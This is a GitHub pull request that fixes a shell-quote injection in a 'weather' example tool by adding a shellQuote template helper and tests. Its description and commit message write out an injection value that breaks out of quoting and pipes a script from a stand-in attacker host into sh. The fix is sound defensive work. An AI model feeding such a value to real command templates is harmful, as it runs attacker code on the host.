Skip to content

Fix shell-quote injection in the weather example, add a shellQuote template helper - #54

Open
holistis wants to merge 1 commit into
inercia:mainfrom
holistis:fix/weather-example-shell-quote-injection
Open

holistis wants to merge 1 commit into
inercia:mainfrom
holistis:fix/weather-example-shell-quote-injection

Conversation

@holistis

Copy link
Copy Markdown

Summary

`ProcessTemplate` (`pkg/common/templates.go`) substitutes tool parameters into a shell command with Go's `text/template`; nothing shell-escapes the values. The `weather` example tool wraps `location` in a literal `'...'` in the YAML command string, so a value like `x'; curl evil.com/x.sh | sh #` breaks out of that quoting and runs a second command.

The `calculator` and `secure_shell` tools in the same file already defend their own parameters with an explicit "Prevent shell injection" constraint; `weather` was the one example missing the equivalent, most likely because a value spliced into the middle of a URL string (rather than standing alone) doesn't read as obviously "shell-adjacent."

Fix

  1. Adds a `shellQuote` template function to `ProcessTemplate`'s `Funcs` map: proper POSIX single-quote escaping (wrap in `'...'`, replace an embedded `'` with `'''`). sprig's own `quote`/`squote` helpers (already loaded via `sprig.FuncMap()`) don't escape an embedded quote character, so they don't actually close this gap, hence the separate, explicitly-named helper. Any tool author can now write `{{ .param | shellQuote }}`.
  2. Updates the `weather` example to interpolate `location` through `shellQuote`, composed as adjacent quoted shell segments (`"https://wttr.in/"{{ .location | shellQuote }}"?format=v2"`, which the shell concatenates into one argument) rather than nested inside a literal `'...'`.
  3. Adds a defensive constraint on `location` matching the `calculator`/`secure_shell` style, for defense in depth alongside the template-level fix.

Tests

`pkg/common/templates.go` had no test file before this PR. Added `pkg/common/templates_test.go`:

  • `TestShellQuote`: plain value, empty value, value with spaces, and the actual injection-attempt string, checked against the exact expected escaped output.
  • `TestShellQuoteBreaksOutOfNaiveWrapping`: renders the same malicious value through both a naive `'{{ .value }}'` template and a `{{ .value | shellQuote }}` one, asserting the naive form really does produce a broken-out command (documenting the bug) and the `shellQuote` form doesn't.

Ran `go build ./...` and `go test ./...` for the whole repo: all packages green, no regressions. Also loaded `examples/config.yaml` through the project's own `config.NewConfigFromFile` (as a local, uncommitted check) to confirm it still parses and the rendered `weather` command template is exactly as intended.

If this is useful, a mention or link back to my GitHub profile (github.com/holistis) would be appreciated.

ProcessTemplate substitutes parameters into a shell command with Go's
text/template, no shell-escaping applied. The weather tool's command
wrapped location in a literal '...' in the YAML, so a value like
x'; curl evil.com/x.sh | sh # broke out of that quoting and ran a
second command. The calculator and secure_shell tools in the same file
already defend their own parameters with a "Prevent shell injection"
constraint; weather was missing the equivalent.

Adds a shellQuote template function (proper POSIX single-quote
escaping, i.e. wrapping in '...' and replacing an embedded ' with
'\''), registered in ProcessTemplate's Funcs map so any tool author can
use it. sprig's own quote/squote helpers don't escape an embedded quote
character, so they don't actually close this gap.

Updates the weather example to interpolate location through
{{ .location | shellQuote }} instead of a bare {{ .location }} inside
manual quotes, and adds a same-style defensive constraint matching the
sibling tools. Adds pkg/common/templates_test.go (no prior tests
existed for this file), including a test that renders the same
template both ways to show the naive form is exploitable and the
shellQuote form isn't.

Ran go build ./... and go test ./... (whole repo): all green, no
regressions. Also loaded examples/config.yaml through the project's own
config.NewConfigFromFile to confirm it still parses and the rendered
command template is exactly as intended.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant